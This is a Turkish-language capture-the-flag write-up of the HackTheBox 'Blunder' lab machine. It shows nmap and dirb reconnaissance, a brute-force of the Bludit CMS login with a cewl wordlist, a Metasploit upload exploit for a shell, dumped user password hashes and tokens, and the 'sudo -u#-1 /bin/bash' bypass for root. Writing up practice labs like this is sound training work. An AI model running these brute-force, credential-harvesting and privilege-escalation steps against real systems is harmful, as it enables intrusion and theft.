Blunder (HTB) Makine Çözümü

HTB

HackTheBox’ın Blunder adlı makinesinin çözümünü sizlere anlatmak isterim.

Önce vpn ile sanal ağa katılın. Makine’nin sayfasından ihtiyacınız olan IP adresini alın ve makine ile bağlantınızın olup olmadığını kontrol etmek için pingleyin.

Makine İle İlgili Bilgi Toplama

Makine hakkında bilgi toplamak için önce nmap ile bir tarama başlatın.

$ nmap -T5 -A 10.10.10.191
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-22 21:10 +03
Nmap scan report for 10.10.10.191
Host is up (0.26s latency).
Not shown: 998 filtered ports
PORT   STATE  SERVICE VERSION
21/tcp closed ftp
80/tcp open   http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Blunder | A blunder of interesting facts
Aggressive OS guesses: HP P2000 G3 NAS device (91%), Linux 2.6.32 (90%), Linux 2.6.32 - 3.1 (90%), Ubiquiti AirMax NanoStation WAP (Linux 2.6.32) (90%), Linux 3.7 (90%), Linux 2.6.32 - 3.13 (89%), Linux 3.0 - 3.2 (89%), Linux 3.3 (89%), Infomir MAG-250 set-top box (89%), Ubiquiti Pico Station WAP (AirOS 5.2.6) (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 21/tcp)
HOP RTT       ADDRESS
1   181.24 ms 10.10.16.1
2   357.20 ms 10.10.10.191

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.57 seconds

Sonuçlara göre elimizde birer adet ftp ve http var. Ftp kapalı olduğundan http üzerine yoğunlaşacağız.

HTTP – A Blunder Of Interesting Facts

Evet, elimizde bloga benzeyen bir web sitesi var. Anasayfada Stephan King, Stadia ve USB ile ilgili üç adet post olduğunu görüyoruz.

Anasayfa

Hemen sayfa üzerinde araştırmaya başlayalım.

Sayfaların Kaynak Kodları

Anasayfadaki html ve css kodlarına bir bakalım.

ctrl+u

Pek fazla bir şey yok gibi. Bir kullanıcı veya servis bilgisi bulamadık. Yukarıdaki link etiketlerinde version bilgisi var, onlar belki işimize yarayabilir. Şu aşamada sayfaların kaynak kodlarında pek fazla bir şey olmadığını tahmin ediyorum bu yüzden dirb ile fuzzinge girişiyorum.

Dirb İle Sitede Fuzzing

Dirbi kullanarak sitedeki diğer sayfaları tarayalım.

$ dirb http://10.10.10.191
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
START_TIME: Wed Sep 23 19:31:03 2020
URL_BASE: http://10.10.10.191/
WORDLIST_FILES: /usr/share/dirb/wordlists/common_2.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.191/ ----
+ http://10.10.10.191/0 (CODE:200|SIZE:7562)
+ http://10.10.10.191/about (CODE:200|SIZE:3281)
+ http://10.10.10.191/todo.txt (CODE:200|SIZE:118)
==> DIRECTORY: http://10.10.10.191/admin/
+ http://10.10.10.191/cgi-bin/ (CODE:301|SIZE:0)
+ http://10.10.10.191/LICENSE (CODE:200|SIZE:1083)
+ http://10.10.10.191/robots.txt (CODE:200|SIZE:22)
+ http://10.10.10.191/server-status (CODE:403|SIZE:277)
---- Entering directory: http://10.10.10.191/admin/ ----
+ http://10.10.10.191/admin/ajax (CODE:401|SIZE:0)
-----------------
END_TIME: Wed Sep 23 20:37:00 2020
DOWNLOADED: 9224 - FOUND: 7

Çıktılara bakarak sitede bir adet admin paneli olduğunu görebiliriz. Bunun yanında bir de todo dosyamız var. Önce todo içerisini bir okuyalım.

-Update the CMS
-Turn off FTP - DONE
-Remove old users - DONE
-Inform fergus that the new blog needs images - PENDING

Yöneticinin kendine (yada diğer kullanıcıya)yazdığı bir yapılacaklar listesi. İçerisinde pek bir şey yok gibi. Sadece fergus adı dikkate değer gibi görünüyor, bunu kullanıcı adı olarak deneyebiliriz.

Şimdi de admin paneline bir bakalım.

BLUDIT

Bludit başlıklı bir login sayfasıyla karşı karşıyayız. Bu aşamada benim tercihim admin paneli ile ilgili araştırma yapmaktır. Bu sayede yazılımdaki açıklar, hatalar ve exploitler hakkında bilgi edinilebilir.

Bludit Admin Panel Araştırması

Google’da teknik bir arama yapalım. Ne istiyoruz ve bunu ne için istiyoruz? Sistemi kırmak için sistem ile ilgili açıkları öğrenmeliyiz, öncellikle:

bludit exploit

Kelimelerini aratıyoruz. Çıkan sonuçlar:

Google

Şimdi, bludit ile ilgili bir ton exploit var. Daha ilk sayfadan çok çeşitli saldırı yöntemleri ve uygulamalrını görüyoruz. Burada dikkat etmemiz gereken önemli nokta şu, bludit ile ilgili olan bütün açıklar 3.9.2 sürümüne ait. Bu açıkların çoğunu elimizdeki bludit üzerinde deneyebiliriz.

Peki neye ihtiyacımız var? Panele giriş yapmak istiyoruz bu sebepten dolayı bruteforce tooluna ihtiyacımız var. Kısa bir araştırmadan sonra github’da pythonla yazılmış bir tool buldum, bu toolu paylaşıp nasıl kullanıldığını anlatacağım.

Panele Giriş için Bruteforce

Elimizde panele girmek için kullanabileceğimiz bir kullanıcı adı var. Bununla birlikte şifre kombinasyonlarıya sayfaya bir saldırı başlatmalıyız.

Wordlistin Oluşturulması

Wordlist oluşturmak için cewl toolunu kullanacağız. Bu tool kendisine verilen sitede araştırma yaparak kelimeler çıkarmaktadır.

$ cewl -d 10 -w wls -m 8 http://10.10.10.191

Parametreleri sırayla açıklayım.

  • -d : İnceleme derinliği
  • -w : Wordlistin adı
  • -m : Kelimelerin minimum uzunluğu

Tool çıktı olarak bütün kelimeleri wls adlı dosyaya kaydedecektir.

Bruteforce

Bruteforce için kullanacağımız tool ise githubda bulunmakta. Toolu yazan arkadaşa çok teşekkür ederek saldırıya başlayalım.

Önce terminali açalım ve toolu çalıştıralım.

$ python3 bruteforce.py
USAGE:
python3 bruteforce.py <IP adress> <username> <wordlist>

Program bize nasıl kullanılacağı ile ilgili bir çıktı gönderdi. Bu çıktıya göre şimdi saldırımızı başlatalım.

$ python3 bruteforce.py 10.10.10.191 fergus wls
[*] Trying: interesting
[*] Trying: Creation
[*] Trying: November
[*] Trying: National
[*] Trying: description
[*] Trying: Bootstrap
[*] Trying: bootstrap
[*] Trying: Networks
[*] Trying: Copyright
[*] Trying: byEgotisticalSW
[*] Trying: Javascript
[*] Trying: American
[*] Trying: published
[*] Trying: received
[*] Trying: literature
[*] Trying: smartphones
[*] Trying: September
[*] Trying: supernatural
[*] Trying: suspense
[*] Trying: miniseries
[*] Trying: television
[*] Trying: including
[*] Trying: approximately
[*] Trying: collections
[*] Trying: Foundation
[*] Trying: Distinguished
[*] Trying: Contribution
[*] Trying: probably
[*] Trying: fictional
[*] Trying: character
[*] Trying: RolandDeschain

SUCCESS: Password found!
Use fergus:RolandDeschain to login.

Ve şifreyi buluyoruz. Şimdi panele girebiliriz.

Bludit Admin Paneline Giriş

Fergus:RolandDeschain ile panele girelim. Gelen ekranda bizi çeşitli istatistik ve log bilgileri karşılayacaktır.

Panel

Sırayla panelde bulunan sayfaları gezdikten sonra en işe yarar olan sayfa profil sayfası gibi duruyor. Bu sayfada profil resmi yükleme, şifre değiştirme gibi bir takım işlemleri gerçekleştirebiliyoruz.

Sizi bilmem ama ben ilk önce bu şifreyi değiştireceğim. Bu arada sayfada token verisi de var, bunu da kaydedelim lazım edebilir. Şifre değiştiği için de token değişti bilginiz olsun.

Security

Bunların dışında profil resmi dikkatimi çok çekti. İçeri bir şekilde zararlı kod sokup çalıştırabilirsek terminal alabiliriz. Bu fikirden yola çıkarak içerisinde print yazan bir python kodunu profil resmi olarak seçip içeriye yolladım.

Fakat iş düşündüğüm kadar basit değildi, bu sebepten hiç beklemeden tekrardan google da konuyla ilgili araştırmaya başlayalım.

Saldırı

Shell Alma Çalışmaları (Inject and Execute)

Google’da exploit-db’de bulduğum bir kod var, fazlasıyla dikkatimi çekti. Exploitin adı Bludit 3.9.2 – Directory Traversal. Bu vatandaş tamda bizim istediğimiz işi görüyor. İçeriye php ile yazılmış zararlı kodu resim formatında içeriye gönderiyor. Fakat bu exploit onaylı değil, pek bir sorun olmaz ama daha iyisini belki bulabiliriz.

Araştırmaya yerel kaynaklardan devam ederek Metasploit e geçiyorum. Bludit kelimesini aratıyorum.

$ search bludit

Zaten bir adet exploit varmış o da çıktı.

Exploit

Exploiti seçtikten sonra ayarları görüntülüyorum ve kendime göre exploiti hazırlıyorum.

Show Options

Exploiti hazırlarken vpn kullandığınızı unutmayınız, ip adresinizi ona göre ekleyin.

Shell

Evet, oturumumuz geldi. Şimdi makine içerisinde gezinip bolca bilgi toplamamız gerekiyor.

Sistemde Gezinti

Öncce meterpreter’e shell komutunu veriyorum. Sonrasında gelen shell’e pwd komutunu verip nerede olduğuma bakıyorum.

$ shell
$ pwd
/var/www/bludit-3.9.2/bl-content/tmp

Bir tmp dosyasının içerisindeyim. Bundan sonraki işlemleri kolaylaştırması için bir bash shell alarak görevime devam ediyorum.

Bash shell için kullandığım komut:

$ /bin/bash -i

Önce bulunduğum dizinde ls komutunu çalıştırıp ne var ne yok bir baktım, fazla işe yarar bir şey olmayınca üst dizine geçtim.

Çıktı

Burada ilgimi çeken bir klasör var, database. Database içerisine girip baktığımızda çeşitli verileri içerisinde barından bir takım php dosyalarıyla karşılaşıyoruz. Bu dosyalar arasında user.php‘nin içerisine bir bakalım.

$ cat user.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
    "admin": {
        "nickname": "Admin",
        "firstName": "Administrator",
        "lastName": "",
        "role": "admin",
        "password": "bfcc887f62e36ea019e3295aafb8a3885966e265",
        "salt": "5dde2887e7aca",
        "email": "",
        "registered": "2019-11-27 07:40:55",
        "tokenRemember": "",
        "tokenAuth": "b380cb62057e9da47afce66b4615107d",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "instagram": "",
        "codepen": "",
        "linkedin": "",
        "github": "",
        "gitlab": ""
    },
    "fergus": {
        "firstName": "",
        "lastName": "",
        "nickname": "",
        "description": "",
        "role": "author",
        "password": "be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7",
        "salt": "jqxpjfnv",
        "email": "",
        "registered": "2019-11-27 13:26:44",
        "tokenRemember": "",
        "tokenAuth": "0e8011811356c0c5bd2211cba8c50471",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "codepen": "",
        "instagram": "",
        "github": "",
        "gitlab": "",
        "linkedin": "",
        "mastodon": ""
    }
}

Bu dosyada bluditte bulunan kullanıcıların bilgileri var. Kullanıcılara ait şifreler hash halinde tutuluyor, bunları çözmekle uğraşmayalım diğer klasörleri de gezelim.

Bulunduğum konumdan üç klasör yukarı çıkıp ls ile etrafa bakıyorum. Birtakım klasörler var, bunların yanında bludit’in 3.10 sürümü olan bir klasör daha var. İncelemek için oraya da giriyorum.

Çıktı

Önce content klasörüne girip içerisini kontrol ediyorum. Eski content klasöründeki dizinler de burada yer alıyor, önce database içerisindeki user.php dosyasını inceliyorum.

$ cat user.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
    "admin": {
        "nickname": "Hugo",
        "firstName": "Hugo",
        "lastName": "",
        "role": "User",
        "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
        "email": "",
        "registered": "2019-11-27 07:40:55",
        "tokenRemember": "",
        "tokenAuth": "b380cb62057e9da47afce66b4615107d",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "instagram": "",
        "codepen": "",
        "linkedin": "",
        "github": "",
        "gitlab": ""}
}

Bu sürümde Hugo adında bir kullanıcının olduğunu görüyoruz. Bu kullanıcının da şifresi yine hash halinde. Diğer dosyalara da göz gezdirdikten sonra kısa bir mola verelim ve elimizdekileri görelim.

  1. Fergus, admin ve hugo adlı kullanıcıların hashleri.
  2. Yine bu kullanıcıların tokenleri.
  3. Bash Shell.
  4. Bludit adlı yazılımın 3.9.2 ve 3.10 sürümleri.
  5. Bluditin database dosyası.

Şimdi, bu kaynaklar sayesinde sistemde normal bir kullanıcı olmalıyız, peki ne yapabiliriz?

Önce sistemdeki kullanıcıları bir araştırmak lazım, sonrasında bu kullanıcıların şifrelerini kırmak için bir plana daha ihtiyacımız olacak. Diğer seçenek, tokenler ile admin olmaya çalışmak.

Kullanıcıya Erişim (User Capture)

Hızlı bir şekilde sistemin home dizinine gidelim ve ne var ne yok bir bakalım.

Home

İki adet kullanıcımız var. Hugo ismi tanıdık geldi. Şifresinin hashine sahip olduğumuz bu kullanıcıya bir saldırı yapalım. Önce bu hashin hangi algoritma ile oluşturulduğunu bulmamaız lazım. Bunun için hash-identifier kullanacağız. Kullanımı gayet basit olan bu toolu terminalden çalıştırıp hangi fonksiyon ile oluşturulduğunu öğrenmek istediğiniz hashi identifier’a veriyorsunuz. Size hashin hangi fonksiyonla oluşturulduğuna dair yüksek olasılıktan düşük olasılığa doğru bir çıktı veriyor. Hemen deneyelim.

$ hash-identifier faca404fd5c0a31cf1897b823c695c85cffeb98d
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------

Possible Hashs:
[+] SHA-1
[+] MySQL5 - SHA-1(SHA-1($pass))

Least Possible Hashs:
[+] Tiger-160
[+] Haval-160
[+] RipeMD-160
[+] SHA-1(HMAC)
[+] Tiger-160(HMAC)
[+] RipeMD-160(HMAC)
[+] Haval-160(HMAC)
[+] SHA-1(MaNGOS)
[+] SHA-1(MaNGOS2)
[+] sha1($pass.$salt)
[+] sha1($salt.$pass)
[+] sha1($salt.md5($pass))
[+] sha1($salt.md5($pass).$salt)
[+] sha1($salt.sha1($pass))
[+] sha1($salt.sha1($salt.sha1($pass)))
[+] sha1($username.$pass)
[+] sha1($username.$pass.$salt)
[+] sha1(md5($pass))
[+] sha1(md5($pass).$salt)
[+] sha1(md5(sha1($pass)))
[+] sha1(sha1($pass))
[+] sha1(sha1($pass).$salt)
[+] sha1(sha1($pass).substr($pass,0,3))
[+] sha1(sha1($salt.$pass))
[+] sha1(sha1(sha1($pass)))
[+] sha1(strtolower($username).$pass)
--------------------------------------------------  

Programın yanıtına göre bu bir sha-1 hashi. Kırmak için internete başvuralım.

Şifreyi bulduk. Şu ana kadar her şey ilginç bir şekilde hatasız ve doğruydu, garip. Neyse şimdi hugoya bir girelim neler var neler yok.

Flag 1

Sırasıyla hugoya geçtim, bash aldım ve ev dizinine girdim. Hugonun ev dizininde user.txt ile birlikte ilk flagi alıyoruz. Şimdi yetki yükseltmemiz gerek, hemen argeye başlayalım.

Yetki Yükseltme (Privilege Escalation)

Öncelikle nelerimiz varmış bir bakalım:

$ sudo -l

Şimdi bu komuttan sonra şöyle bir hata aldım.

sudo: no tty present and no askpass program specified

Bu hatadan kurtulmak ve ilerlemek için bize gerçek bir tty bash shell gerekiyor, bunun için python’ı tercih edebiliriz:

$ python -c 'import pty; pty.spawn("/bin/sh")'
Matching Defaults entries for hugo on blunder:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hugo may run the following commands on blunder:
    (ALL, !root) /bin/bash

Şöyle bir çıktı alacağız. Sudo sürümünü alıp zafiyet araştırmasına başlayalım.

$ sudo --version
Sudo version 1.8.25.p1

Arayalım…

sudo 1.8 security exploit

Sudo 1.8.27 – Security Bypass exploiti bulduk şimdi kullanalım. Exploitin açıklamasını okuduysanız sudoya -u#-1 parametresini vererek başka bir kullanıcı adına root’a erişim sağlayabiliyoruz. Hemen deneyelim.

$ sudo -u#-1 /bin/bash

Bu aşamadan sonra root oluyoruz.

Posts created 10

Leave a Reply

Your email address will not be published. Required fields are marked *

Related Posts

Begin typing your search term above and press enter to search. Press ESC to cancel.

Back To Top